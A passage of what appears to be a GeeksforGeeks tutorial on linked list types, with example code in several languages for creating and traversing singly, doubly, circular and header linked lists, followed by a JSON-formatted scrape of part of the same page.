beginning. So // linked list becomes 7->6->NULL push(&head, 7); // Insert 1 at the beginning. So // linked list becomes 1->7->6->NULL push(&head, 1); cout << "Created DLL is: "; printList(head); return 0;} // Java program to illustrate// creation and traversal of// Doubly Linked Listimport java.util.*;class GFG{ // Doubly linked list// nodestatic class Node{ int data; Node next; Node prev;}; static Node head_ref; // Function to push a new// element in the Doubly// Linked Liststatic void push(int new_data){ // Allocate node Node new_node = new Node(); // Put in the data new_node.data = new_data; // Make next of new node as // head and previous as null new_node.next = head_ref; new_node.prev = null; // Change prev of head node to // the new node if (head_ref != null) head_ref.prev = new_node; // Move the head to point to // the new node head_ref = new_node;} // Function to traverse the// Doubly LL in the forward// & backward directionstatic void printList(Node node){ Node last = null; System.out.print("\nTraversal in forward" + " direction \n"); while (node != null) { // Print the data System.out.print(" " + node.data + " "); last = node; node = node.next; } System.out.print("\nTraversal in reverse" + " direction \n"); while (last != null) { // Print the data System.out.print(" " + last.data + " "); last = last.prev; }} // Driver Codepublic static void main(String[] args){ // Start with the empty list head_ref = null; // Insert 6. // So linked list becomes // 6.null push(6); // Insert 7 at the beginning. // So linked list becomes // 7.6.null push(7); // Insert 1 at the beginning. // So linked list becomes // 1.7.6.null push(1); System.out.print("Created DLL is: "); printList(head_ref);}} // This code is contributed by Princi Singh # structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None class DoublyLinkedList: def __init__(self): self.head = None self.start_node = None self.last_node = None # function to add elements to doubly linked list def append(self, data): # is doubly linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of doubly linked list else: new_node = Node(data) self.last_node.next = new_node new_node.previous = self.last_node new_node.next = None self.last_node = new_node # function to printing and traversing the content of doubly linked list from left to right and right to left def display(self, Type): if Type == 'Left_To_Right': current = self.head while current is not None: print(current.data, end=' ') current = current.next print() else: current = self.last_node while current is not None: print(current.data, end=' ') current = current.previous print() if __name__ == '__main__': L = DoublyLinkedList() L.append(1) L.append(2) L.append(3) L.append(4) L.display('Left_To_Right') L.display('Right_To_Left') // C# program to illustrate// creation and traversal of// Doubly Linked Listusing System; class GFG{ // Doubly linked list// nodepublic class Node{ public int data; public Node next; public Node prev;}; static Node head_ref; // Function to push a new// element in the Doubly// Linked Liststatic void push(int new_data){ // Allocate node Node new_node = new Node(); // Put in the data new_node.data = new_data; // Make next of new node as // head and previous as null new_node.next = head_ref; new_node.prev = null; // Change prev of head node to // the new node if (head_ref != null) head_ref.prev = new_node; // Move the head to point to // the new node head_ref = new_node;} // Function to traverse the// Doubly LL in the forward// & backward directionstatic void printList(Node node){ Node last = null; Console.Write("\nTraversal in forward" + " direction \n"); while (node != null) { // Print the data Console.Write(" " + node.data + " "); last = node; node = node.next; } Console.Write("\nTraversal in reverse" + " direction \n"); while (last != null) { // Print the data Console.Write(" " + last.data + " "); last = last.prev; }} // Driver Codepublic static void Main(String[] args){ // Start with the empty list head_ref = null; // Insert 6. // So linked list becomes // 6.null push(6); // Insert 7 at the beginning. // So linked list becomes // 7.6.null push(7); // Insert 1 at the beginning. // So linked list becomes // 1.7.6.null push(1); Console.Write("Created DLL is: "); printList(head_ref);}} // This code is contributed by Amit Katiyar Created DLL is: Traversal in forward direction 1 7 6 Traversal in reverse direction 6 7 1 Circular Linked List: A circular linked list is that in which the last node contains the pointer to the first node of the list. While traversing a circular linked list, we can begin at any node and traverse the list in any direction forward and backward until we reach the same node we started. Thus, a circular linked list has no beginning and no end. Below is the image for the same: Structure of Circular Linked List: C++ Java Python3 C# // Structure for a nodeclass Node {public: int data; // Pointer to next node in CLL Node* next;}; // Structure for a nodestatic class Node{ int data; // Pointer to next node in CLL Node next;}; // This code is contributed by shivanisinghss2110 # structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None // Structure for a nodepublic class Node{ public int data; // Pointer to next node in CLL public Node next;}; // This code is contributed by shivanisinghss2110 Creation and Traversal of Circular Linked List: C++ Java Python3 C# // C++ program to illustrate creation// and traversal of Circular LL#include <bits/stdc++.h>using namespace std; // Structure for a nodeclass Node {public: int data; Node* next;}; // Function to insert a node at the// beginning of Circular LLvoid push(Node** head_ref, int data){ Node* ptr1 = new Node(); Node* temp = *head_ref; ptr1->data = data; ptr1->next = *head_ref; // If linked list is not NULL then // set the next of last node if (*head_ref != NULL) { while (temp->next != *head_ref) { temp = temp->next; } temp->next = ptr1; } // For the first node else ptr1->next = ptr1; *head_ref = ptr1;} // Function to print nodes in the// Circular Linked Listvoid printList(Node* head){ Node* temp = head; if (head != NULL) { do { // Print the data cout << temp->data << " "; temp = temp->next; } while (temp != head); }} // Driver Codeint main(){ // Initialize list as empty Node* head = NULL; // Created linked list will // be 11->2->56->12 push(&head, 12); push(&head, 56); push(&head, 2); push(&head, 11); cout << "Contents of Circular" << " Linked List\n "; printList(head); return 0;} // Java program to illustrate// creation and traversal of// Circular LLimport java.util.*;class GFG{ // Structure for a// nodestatic class Node{ int data; Node next;}; // Function to insert a node// at the beginning of Circular// LLstatic Node push(Node head_ref, int data){ Node ptr1 = new Node(); Node temp = head_ref; ptr1.data = data; ptr1.next = head_ref; // If linked list is not // null then set the next // of last node if (head_ref != null) { while (temp.next != head_ref) { temp = temp.next; } temp.next = ptr1; } // For the first node else ptr1.next = ptr1; head_ref = ptr1; return head_ref;} // Function to print nodes in// the Circular Linked Liststatic void printList(Node head){ Node temp = head; if (head != null) { do { // Print the data System.out.print(temp.data + " "); temp = temp.next; } while (temp != head); }} // Driver Codepublic static void main(String[] args){ // Initialize list as empty Node head = null; // Created linked list will // be 11.2.56.12 head = push(head, 12); head = push(head, 56); head = push(head, 2); head = push(head, 11); System.out.print("Contents of Circular" + " Linked List\n "); printList(head);}} // This code is contributed by gauravrajput1 # structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None class CircularLinkedList: def __init__(self): self.head = None self.last_node = None # function to add elements to circular linked list def append(self, data): # is circular linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of circular linked list else: self.last_node.next = Node(data) self.last_node = self.last_node.next self.last_node.next = self.head # function to print the content of circular linked list def display(self): current = self.head while current is not None: print(current.data, end=' ') current = current.next if current == self.head: break print() if __name__ == '__main__': L = CircularLinkedList() L.append(1) L.append(2) L.append(3) L.append(4) L.display() // C# program to illustrate// creation and traversal of// Circular LLusing System; class GFG{ // Structure for a// nodepublic class Node{ public int data; public Node next;}; // Function to insert a node// at the beginning of Circular// LLstatic Node push(Node head_ref, int data){ Node ptr1 = new Node(); Node temp = head_ref; ptr1.data = data; ptr1.next = head_ref; // If linked list is not // null then set the next // of last node if (head_ref != null) { while (temp.next != head_ref) { temp = temp.next; } temp.next = ptr1; } // For the first node else ptr1.next = ptr1; head_ref = ptr1; return head_ref;} // Function to print nodes in// the Circular Linked Liststatic void printList(Node head){ Node temp = head; if (head != null) { do { // Print the data Console.Write(temp.data + " "); temp = temp.next; } while (temp != head); }} // Driver Codepublic static void Main(String[] args){ // Initialize list as empty Node head = null; // Created linked list will // be 11.2.56.12 head = push(head, 12); head = push(head, 56); head = push(head, 2); head = push(head, 11); Console.Write("Contents of Circular " + "Linked List\n "); printList(head);}} // This code is contributed by gauravrajput1 Contents of Circular Linked List 11 2 56 12 Doubly Circular linked list: A Doubly Circular linked list or a circular two-way linked list is a more complex type of linked-list that contains a pointer to the next as well as the previous node in the sequence. The difference between the doubly linked and circular doubly list is the same as that between a singly linked list and a circular linked list. The circular doubly linked list does not contain null in the previous field of the first node. Below is the image for the same: Structure of Doubly Circular Linked List: C++ Java Python3 C# // Node of doubly circular linked liststruct Node { int data; // Pointer to next node in DCLL struct Node* next; // Pointer to the previous node in DCLL struct Node* prev;}; // Structure of a Nodestatic class Node{ int data; // Pointer to next node in DCLL Node next; // Pointer to the previous node in DCLL Node prev;}; //this code is contributed by shivanisinghss2110 # structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None // Structure of a Nodepublic class Node{ public int data; // Pointer to next node in DCLL public Node next; // Pointer to the previous node in DCLL public Node prev;}; // This code is contributed by shivanisinghss2110 Creation and Traversal of Doubly Circular Linked List: C++ Java Python3 C# // C++ program to illustrate creation// & traversal of Doubly Circular LL#include <bits/stdc++.h>using namespace std; // Structure of a Nodestruct Node { int data; struct Node* next; struct Node* prev;}; // Function to insert Node at// the beginning of the Listvoid insertBegin(struct Node** start, int value){ // If the list is empty if (*start == NULL) { struct Node* new_node = new Node; new_node->data = value; new_node->next = new_node->prev = new_node; *start = new_node; return; } // Pointer points to last Node struct Node* last = (*start)->prev; struct Node* new_node = new Node; // Inserting the data new_node->data = value; // Update the previous and // next of new node new_node->next = *start; new_node->prev = last; // Update next and previous // pointers of start & last last->next = (*start)->prev = new_node; // Update start pointer *start = new_node;} // Function to traverse the circular// doubly linked listvoid display(struct Node* start){ struct Node* temp = start; printf("\nTraversal in" " forward direction \n"); while (temp->next != start) { printf("%d ", temp->data); temp = temp->next; } printf("%d ", temp->data); printf("\nTraversal in " "reverse direction \n"); Node* last = start->prev; temp = last; while (temp->prev != last) { // Print the data printf("%d ", temp->data); temp = temp->prev; } printf("%d ", temp->data);} // Driver Codeint main(){ // Start with the empty list struct Node* start = NULL; // Insert 5 // So linked list becomes 5->NULL insertBegin(&start, 5); // Insert 4 at the beginning // So linked list becomes 4->5 insertBegin(&start, 4); // Insert 7 at the end // So linked list becomes 7->4->5 insertBegin(&start, 7); printf("Created circular doubly" " linked list is: "); display(start); return 0;} // Java program to illustrate creation// & traversal of Doubly Circular LLimport java.util.*; class GFG{ // Structure of a Nodestatic class Node{ int data; Node next; Node prev;}; // Start with the empty liststatic Node start = null; // Function to insert Node at// the beginning of the Liststatic void insertBegin( int value){ // If the list is empty if (start == null) { Node new_node = new Node(); new_node.data = value; new_node.next = new_node.prev = new_node; start = new_node; return; } // Pointer points to last Node Node last = (start).prev; Node new_node = new Node(); // Inserting the data new_node.data = value; // Update the previous and // next of new node new_node.next = start; new_node.prev = last; // Update next and previous // pointers of start & last last.next = (start).prev = new_node; // Update start pointer start = new_node;} // Function to traverse the circular// doubly linked liststatic void display(){ Node temp = start; System.out.printf("\nTraversal in" +" forward direction \n"); while (temp.next != start) { System.out.printf("%d ", temp.data); temp = temp.next; } System.out.printf("%d ", temp.data); System.out.printf("\nTraversal in " + "reverse direction \n"); Node last = start.prev; temp = last; while (temp.prev != last) { // Print the data System.out.printf("%d ", temp.data); temp = temp.prev; } System.out.printf("%d ", temp.data);} // Driver Codepublic static void main(String[] args){ // Insert 5 // So linked list becomes 5.null insertBegin( 5); // Insert 4 at the beginning // So linked list becomes 4.5 insertBegin( 4); // Insert 7 at the end // So linked list becomes 7.4.5 insertBegin( 7); System.out.printf("Created circular doubly" + " linked list is: "); display();}} // This code is contributed by shikhasingrajput # structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None class DoublyLinkedList: def __init__(self): self.head = None self.start_node = None self.last_node = None # function to add elements to doubly linked list def append(self, data): # is doubly linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of doubly linked list else: new_node = Node(data) self.last_node.next = new_node new_node.previous = self.last_node new_node.next = self.head self.last_node = new_node # function to print the content of doubly linked list def display(self, Type = 'Left_To_Right'): if Type == 'Left_To_Right': current = self.head while current.next is not None: print(current.data, end=' ') current = current.next if current == self.head: break print() else: current = self.last_node while current.previous is not None: print(current.data, end=' ') current = current.previous if current == self.last_node.next: print(self.last_node.next.data, end=' ') break print() if __name__ == '__main__': L = DoublyLinkedList() L.append(1) L.append(2) L.append(3) L.append(4) L.display('Left_To_Right') L.display('Right_To_Left') // C# program to illustrate creation// & traversal of Doubly Circular LLusing System; public class GFG{ // Structure of a Nodepublic class Node{ public int data; public Node next; public Node prev;}; // Start with the empty liststatic Node start = null; // Function to insert Node at// the beginning of the Liststatic void insertBegin( int value){ Node new_node = new Node(); // If the list is empty if (start == null) { new_node.data = value; new_node.next = new_node.prev = new_node; start = new_node; return; } // Pointer points to last Node Node last = (start).prev; // Inserting the data new_node.data = value; // Update the previous and // next of new node new_node.next = start; new_node.prev = last; // Update next and previous // pointers of start & last last.next = (start).prev = new_node; // Update start pointer start = new_node;} // Function to traverse the circular// doubly linked liststatic void display(){ Node temp = start; Console.Write("\nTraversal in" +" forward direction \n"); while (temp.next != start) { Console.Write(temp.data + " "); temp = temp.next; } Console.Write(temp.data + " "); Console.Write("\nTraversal in " + "reverse direction \n"); Node last = start.prev; temp = last; while (temp.prev != last) { // Print the data Console.Write( temp.data + " "); temp = temp.prev; } Console.Write( temp.data + " ");} // Driver Codepublic static void Main(String[] args){ // Insert 5 // So linked list becomes 5.null insertBegin( 5); // Insert 4 at the beginning // So linked list becomes 4.5 insertBegin( 4); // Insert 7 at the end // So linked list becomes 7.4.5 insertBegin( 7); Console.Write("Created circular doubly" + " linked list is: "); display();}} // This code is contributed by 29AjayKumar Created circular doubly linked list is: Traversal in forward direction 7 4 5 Traversal in reverse direction 5 4 7 Header Linked List: A header linked list is a special type of linked list which contains a header node at the beginning of the list. So, in a header linked list START will not point to the first node of the list but START will contain the address of the header node. Below is the image for Grounded Header Linked List: Structure of Grounded Header Linked List: C++ Python3 Java C# // Structure of the liststruct link { int info; // Pointer to the next node struct link* next;}; # structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None // Structure of the liststatic class link { int info; // Pointer to the next node link next;}; // this code is contributed by shivanisinghss2110 // Structure of the listpublic class link { public int info; // Pointer to the next node public link next;}; // this code is contributed by shivanisinghss2110 Creation and Traversal of Header Linked List: C++ Java Python3 C# // C++ program to illustrate creation// and traversal of Header Linked List#include <bits/stdc++.h>// #include <malloc.h>// #include <stdio.h> // Structure of the liststruct link { int info; struct link* next;}; // Empty Liststruct link* start = NULL; // Function to create header of the// header linked liststruct link* create_header_list(int data){ // Create a new node struct link *new_node, *node; new_node = (struct link*) malloc(sizeof(struct link)); new_node->info = data; new_node->next = NULL; // If it is the first node if (start == NULL) { // Initialize the start start = (struct link*) malloc(sizeof(struct link)); start->next = new_node; } else { // Insert the node in the end node = start; while (node->next != NULL) { node = node->next; } node->next = new_node; } return start;} // Function to display the// header linked liststruct link* display(){ struct link* node; node = start; node = node->next; // Traverse until node is // not NULL while (node != NULL) { // Print the data printf("%d ", node->info); node = node->next; } printf("\n"); // Return the start pointer return start;} // Driver Codeint main(){ // Create the list create_header_list(11); create_header_list(12); create_header_list(13); // Print the list printf("List After inserting" " 3 elements:\n"); display(); create_header_list(14); create_header_list(15); // Print the list printf("List After inserting" " 2 more elements:\n"); display(); return 0;} // Java program to illustrate creation// and traversal of Header Linked List class GFG{// Structure of the liststatic class link { int info; link next;}; // Empty Liststatic link start = null; // Function to create header of the// header linked liststatic link create_header_list(int data){ // Create a new node link new_node, node; new_node = new link(); new_node.info = data; new_node.next = null; // If it is the first node if (start == null) { // Initialize the start start = new link(); start.next = new_node; } else { // Insert the node in the end node = start; while (node.next != null) { node = node.next; } node.next = new_node; } return start;} // Function to display the// header linked liststatic link display(){ link node; node = start; node = node.next; // Traverse until node is // not null while (node != null) { // Print the data System.out.printf("%d ", node.info); node = node.next; } System.out.printf("\n"); // Return the start pointer return start;} // Driver Codepublic static void main(String[] args){ // Create the list create_header_list(11); create_header_list(12); create_header_list(13); // Print the list System.out.printf("List After inserting" + " 3 elements:\n"); display(); create_header_list(14); create_header_list(15); // Print the list System.out.printf("List After inserting" + " 2 more elements:\n"); display(); }} // This code is contributed by 29AjayKumar # structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None class LinkedList: def __init__(self): self.head = Node(0) self.last_node = self.head # function to add elements to header linked list def append(self, data): self.last_node.next = Node(data) self.last_node = self.last_node.next # function to print the content of header linked list def display(self): current = self.head.next # traversing the header linked list while current is not None: # at each node printing its data print(current.data, end=' ') # giving current next node current = current.next # print(self.head.data) print() if __name__ == '__main__': L = LinkedList() # adding elements to the header linked list L.append(1) L.append(2) L.append(3) L.append(4) # displaying elements of header linked list L.display() // C# program to illustrate creation// and traversal of Header Linked List using System; public class GFG{// Structure of the listpublic class link { public int info; public link next;}; // Empty Liststatic link start = null; // Function to create header of the// header linked liststatic link create_header_list(int data){ // Create a new node link new_node, node; new_node = new link(); new_node.info = data; new_node.next = null; // If it is the first node if (start == null) { // Initialize the start start = new link(); start.next = new_node; } else { // Insert the node in the end node = start; while (node.next != null) { node = node.next; } node.next = new_node; } return start;} // Function to display the// header linked liststatic link display(){ link node; node = start; node = node.next; // Traverse until node is // not null while (node != null) { // Print the data Console.Write("{0} ", node.info); node = node.next; } Console.Write("\n"); // Return the start pointer return start;} // Driver Codepublic static void Main(String[] args){ // Create the list create_header_list(11); create_header_list(12); create_header_list(13); // Print the list Console.Write("List After inserting" + " 3 elements:\n"); display(); create_header_list(14); create_header_list(15); // Print the list Console.Write("List After inserting" + " 2 more elements:\n"); display(); }} // This code is contributed by 29AjayKumar List After inserting 3 elements: 11 12 13 List After inserting 2 more elements: 11 12 13 14 15 princi singh amit143katiyar GauravRajput1 shikhasingrajput 29AjayKumar tuhinchess premansh2001 unknown2108 shivanisinghss2110 SHUBHAMSINGH10 sumitgumber28 circular linked list doubly linked list Linked Lists Data Structures Linked List Data Structures Linked List circular linked list Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Data Structures | Linked List | Question 5 Data Structures | Tree Traversals | Question 4 Data Structures | Linked List | Question 6 Difference between Singly linked list and Doubly linked list Advantages and Disadvantages of Linked List Reverse a linked list Stack Data Structure (Introduction and Program) LinkedList in Java Linked List vs Array Doubly Linked List | Set 1 (Introduction and Insertion)
[ { "code": null, "e": 26041, "s": 26013, "text": "\n28 Mar, 2022" }, { "code": null, "e": 26349, "s": 26041, "text": "A linked list is a linear data structure, in which the elements are not stored at contiguous memory locations. The elements in a linked list are linked using pointers. In simple words, a linked list consists of nodes where each node contains a data field and a reference(link) to the next node in the list. " }, { "code": null, "e": 26715, "s": 26349, "text": "Singly Linked List: It is the simplest type of linked list in which every node contains some data and a pointer to the next node of the same data type. The node contains a pointer to the next node means that the node stores the address of the next node in the sequence. A single linked list allows traversal of data only in one way. Below is the image for the same:" }, { "code": null, "e": 26748, "s": 26715, "text": "Structure of Singly Linked List:" }, { "code": null, "e": 26752, "s": 26748, "text": "C++" }, { "code": null, "e": 26757, "s": 26752, "text": "Java" }, { "code": null, "e": 26765, "s": 26757, "text": "Python3" }, { "code": null, "e": 26768, "s": 26765, "text": "C#" }, { "code": null, "e": 26779, "s": 26768, "text": "Javascript" }, { "code": "// Node of a doubly linked listclass Node {public: int data; // Pointer to next node in LL Node* next;};", "e": 26894, "s": 26779, "text": null }, { "code": "// Node of a doubly linked liststatic class Node{ int data; // Pointer to next node in LL Node next;}; //this code is contributed by shivani", "e": 27042, "s": 26894, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None", "e": 27150, "s": 27042, "text": null }, { "code": "// Structure of Nodepublic class Node{ public int data; // Pointer to next node in LL public Node next;}; //this code is contributed by shivanisinghss2110", "e": 27319, "s": 27150, "text": null }, { "code": "// Node of a doubly linked listclass Node{ constructor() { this.data=0; // Pointer to next node this.next=null; }} // This code is contributed by SHUBHAMSINGH10", "e": 27519, "s": 27319, "text": null }, { "code": null, "e": 27565, "s": 27519, "text": "Creation and Traversal of Singly Linked List:" }, { "code": null, "e": 27569, "s": 27565, "text": "C++" }, { "code": null, "e": 27574, "s": 27569, "text": "Java" }, { "code": null, "e": 27577, "s": 27574, "text": "C#" }, { "code": null, "e": 27585, "s": 27577, "text": "Python3" }, { "code": null, "e": 27596, "s": 27585, "text": "Javascript" }, { "code": "// C++ program to illustrate creation// and traversal of Singly Linked List #include <bits/stdc++.h>using namespace std; // Structure of Nodeclass Node {public: int data; Node* next;}; // Function to print the content of// linked list starting from the// given nodevoid printList(Node* n){ // Iterate till n reaches NULL while (n != NULL) { // Print the data cout << n->data << \" \"; n = n->next; }} // Driver Codeint main(){ Node* head = NULL; Node* second = NULL; Node* third = NULL; // Allocate 3 nodes in the heap head = new Node(); second = new Node(); third = new Node(); // Assign data in first node head->data = 1; // Link first node with second head->next = second; // Assign data to second node second->data = 2; second->next = third; // Assign data to third node third->data = 3; third->next = NULL; printList(head); return 0;}", "e": 28536, "s": 27596, "text": null }, { "code": "// Java program to illustrate// creation and traversal of// Singly Linked Listclass GFG{ // Structure of Nodestatic class Node{ int data; Node next;}; // Function to print the content of// linked list starting from the// given nodestatic void printList(Node n){ // Iterate till n reaches null while (n != null) { // Print the data System.out.print(n.data + \" \"); n = n.next; }} // Driver Codepublic static void main(String[] args){ Node head = null; Node second = null; Node third = null; // Allocate 3 nodes in // the heap head = new Node(); second = new Node(); third = new Node(); // Assign data in first // node head.data = 1; // Link first node with // second head.next = second; // Assign data to second // node second.data = 2; second.next = third; // Assign data to third // node third.data = 3; third.next = null; printList(head);}} // This code is contributed by Princi Singh", "e": 29466, "s": 28536, "text": null }, { "code": "// C# program to illustrate// creation and traversal of// Singly Linked Listusing System; class GFG{ // Structure of Nodepublic class Node{ public int data; public Node next;}; // Function to print the content of// linked list starting from the// given nodestatic void printList(Node n){ // Iterate till n reaches null while (n != null) { // Print the data Console.Write(n.data + \" \"); n = n.next; }} // Driver Codepublic static void Main(String[] args){ Node head = null; Node second = null; Node third = null; // Allocate 3 nodes in // the heap head = new Node(); second = new Node(); third = new Node(); // Assign data in first // node head.data = 1; // Link first node with // second head.next = second; // Assign data to second // node second.data = 2; second.next = third; // Assign data to third // node third.data = 3; third.next = null; printList(head);}} // This code is contributed by Amit Katiyar", "e": 30527, "s": 29466, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None class LinkedList: def __init__(self): self.head = None self.last_node = None # function to add elements to linked list def append(self, data): # if linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of linked list else: self.last_node.next = Node(data) self.last_node = self.last_node.next # function to print the content of linked list def display(self): current = self.head # traversing the linked list while current is not None: # at each node printing its data print(current.data, end=' ') # giving current next node current = current.next print() if __name__ == '__main__': L = LinkedList() # adding elements to the linked list L.append(1) L.append(2) L.append(3) L.append(4) # displaying elements of linked list L.display()", "e": 31718, "s": 30527, "text": null }, { "code": "<script> // JavaScript program to illustrate// creation and traversal of// Singly Linked List // Structure of Nodeclass Node{ constructor() { this.data=0; this.next=null; }} // Function to print the content of// linked list starting from the// given nodefunction printList(n){ // Iterate till n reaches null while (n != null) { // Print the data document.write(n.data + \" \"); n = n.next; }} // Driver Codelet head = null;let second = null;let third = null; // Allocate 3 nodes in// the heaphead = new Node();second = new Node();third = new Node(); // Assign data in first// nodehead.data = 1; // Link first node with// secondhead.next = second; // Assign data to second// nodesecond.data = 2;second.next = third; // Assign data to third// nodethird.data = 3;third.next = null; printList(head); // This code is contributed by unknown2108 </script>", "e": 32604, "s": 31718, "text": null }, { "code": null, "e": 32611, "s": 32604, "text": "1 2 3 " }, { "code": null, "e": 33013, "s": 32611, "text": "Doubly Linked List: A doubly linked list or a two-way linked list is a more complex type of linked list which contains a pointer to the next as well as the previous node in sequence, Therefore, it contains three parts are data, a pointer to the next node, and a pointer to the previous node. This would enable us to traverse the list in the backward direction as well. Below is the image for the same:" }, { "code": null, "e": 33046, "s": 33013, "text": "Structure of Doubly Linked List:" }, { "code": null, "e": 33050, "s": 33046, "text": "C++" }, { "code": null, "e": 33055, "s": 33050, "text": "Java" }, { "code": null, "e": 33063, "s": 33055, "text": "Python3" }, { "code": null, "e": 33066, "s": 33063, "text": "C#" }, { "code": "// Node of a doubly linked liststruct Node { int data; // Pointer to next node in DLL struct Node* next; // Pointer to the previous node in DLL struct Node* prev;};", "e": 33248, "s": 33066, "text": null }, { "code": "// Doubly linked list// nodestatic class Node{ int data; // Pointer to next node in DLL Node next; // Pointer to the previous node in DLL Node prev;}; // This code is contributed by shivani", "e": 33463, "s": 33248, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None", "e": 33599, "s": 33463, "text": null }, { "code": "// Doubly linked list// nodepublic class Node{ public int data; // Pointer to next node in DLL public Node next; // Pointer to the previous node in DLL public Node prev;}; // This code is contributed by shivanisinghss2110", "e": 33846, "s": 33599, "text": null }, { "code": null, "e": 33892, "s": 33846, "text": "Creation and Traversal of Doubly Linked List:" }, { "code": null, "e": 33896, "s": 33892, "text": "C++" }, { "code": null, "e": 33901, "s": 33896, "text": "Java" }, { "code": null, "e": 33909, "s": 33901, "text": "Python3" }, { "code": null, "e": 33912, "s": 33909, "text": "C#" }, { "code": "// C++ program to illustrate creation// and traversal of Doubly Linked List#include <bits/stdc++.h>using namespace std; // Doubly linked list nodeclass Node {public: int data; Node* next; Node* prev;}; // Function to push a new element in// the Doubly Linked Listvoid push(Node** head_ref, int new_data){ // Allocate node Node* new_node = new Node(); // Put in the data new_node->data = new_data; // Make next of new node as // head and previous as NULL new_node->next = (*head_ref); new_node->prev = NULL; // Change prev of head node to // the new node if ((*head_ref) != NULL) (*head_ref)->prev = new_node; // Move the head to point to // the new node (*head_ref) = new_node;} // Function to traverse the Doubly LL// in the forward & backward directionvoid printList(Node* node){ Node* last; cout << \"\\nTraversal in forward\" << \" direction \\n\"; while (node != NULL) { // Print the data cout << \" \" << node->data << \" \"; last = node; node = node->next; } cout << \"\\nTraversal in reverse\" << \" direction \\n\"; while (last != NULL) { // Print the data cout << \" \" << last->data << \" \"; last = last->prev; }} // Driver Codeint main(){ // Start with the empty list Node* head = NULL; // Insert 6. // So linked list becomes 6->NULL push(&head, 6); // Insert 7 at the beginning. So // linked list becomes 7->6->NULL push(&head, 7); // Insert 1 at the beginning. So // linked list becomes 1->7->6->NULL push(&head, 1); cout << \"Created DLL is: \"; printList(head); return 0;}", "e": 35579, "s": 33912, "text": null }, { "code": "// Java program to illustrate// creation and traversal of// Doubly Linked Listimport java.util.*;class GFG{ // Doubly linked list// nodestatic class Node{ int data; Node next; Node prev;}; static Node head_ref; // Function to push a new// element in the Doubly// Linked Liststatic void push(int new_data){ // Allocate node Node new_node = new Node(); // Put in the data new_node.data = new_data; // Make next of new node as // head and previous as null new_node.next = head_ref; new_node.prev = null; // Change prev of head node to // the new node if (head_ref != null) head_ref.prev = new_node; // Move the head to point to // the new node head_ref = new_node;} // Function to traverse the// Doubly LL in the forward// & backward directionstatic void printList(Node node){ Node last = null; System.out.print(\"\\nTraversal in forward\" + \" direction \\n\"); while (node != null) { // Print the data System.out.print(\" \" + node.data + \" \"); last = node; node = node.next; } System.out.print(\"\\nTraversal in reverse\" + \" direction \\n\"); while (last != null) { // Print the data System.out.print(\" \" + last.data + \" \"); last = last.prev; }} // Driver Codepublic static void main(String[] args){ // Start with the empty list head_ref = null; // Insert 6. // So linked list becomes // 6.null push(6); // Insert 7 at the beginning. // So linked list becomes // 7.6.null push(7); // Insert 1 at the beginning. // So linked list becomes // 1.7.6.null push(1); System.out.print(\"Created DLL is: \"); printList(head_ref);}} // This code is contributed by Princi Singh", "e": 37293, "s": 35579, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None class DoublyLinkedList: def __init__(self): self.head = None self.start_node = None self.last_node = None # function to add elements to doubly linked list def append(self, data): # is doubly linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of doubly linked list else: new_node = Node(data) self.last_node.next = new_node new_node.previous = self.last_node new_node.next = None self.last_node = new_node # function to printing and traversing the content of doubly linked list from left to right and right to left def display(self, Type): if Type == 'Left_To_Right': current = self.head while current is not None: print(current.data, end=' ') current = current.next print() else: current = self.last_node while current is not None: print(current.data, end=' ') current = current.previous print() if __name__ == '__main__': L = DoublyLinkedList() L.append(1) L.append(2) L.append(3) L.append(4) L.display('Left_To_Right') L.display('Right_To_Left')", "e": 38824, "s": 37293, "text": null }, { "code": "// C# program to illustrate// creation and traversal of// Doubly Linked Listusing System; class GFG{ // Doubly linked list// nodepublic class Node{ public int data; public Node next; public Node prev;}; static Node head_ref; // Function to push a new// element in the Doubly// Linked Liststatic void push(int new_data){ // Allocate node Node new_node = new Node(); // Put in the data new_node.data = new_data; // Make next of new node as // head and previous as null new_node.next = head_ref; new_node.prev = null; // Change prev of head node to // the new node if (head_ref != null) head_ref.prev = new_node; // Move the head to point to // the new node head_ref = new_node;} // Function to traverse the// Doubly LL in the forward// & backward directionstatic void printList(Node node){ Node last = null; Console.Write(\"\\nTraversal in forward\" + \" direction \\n\"); while (node != null) { // Print the data Console.Write(\" \" + node.data + \" \"); last = node; node = node.next; } Console.Write(\"\\nTraversal in reverse\" + \" direction \\n\"); while (last != null) { // Print the data Console.Write(\" \" + last.data + \" \"); last = last.prev; }} // Driver Codepublic static void Main(String[] args){ // Start with the empty list head_ref = null; // Insert 6. // So linked list becomes // 6.null push(6); // Insert 7 at the beginning. // So linked list becomes // 7.6.null push(7); // Insert 1 at the beginning. // So linked list becomes // 1.7.6.null push(1); Console.Write(\"Created DLL is: \"); printList(head_ref);}} // This code is contributed by Amit Katiyar", "e": 40544, "s": 38824, "text": null }, { "code": null, "e": 40644, "s": 40544, "text": "Created DLL is: \nTraversal in forward direction \n 1 7 6 \nTraversal in reverse direction \n 6 7 1" }, { "code": null, "e": 41030, "s": 40644, "text": "Circular Linked List: A circular linked list is that in which the last node contains the pointer to the first node of the list. While traversing a circular linked list, we can begin at any node and traverse the list in any direction forward and backward until we reach the same node we started. Thus, a circular linked list has no beginning and no end. Below is the image for the same:" }, { "code": null, "e": 41065, "s": 41030, "text": "Structure of Circular Linked List:" }, { "code": null, "e": 41069, 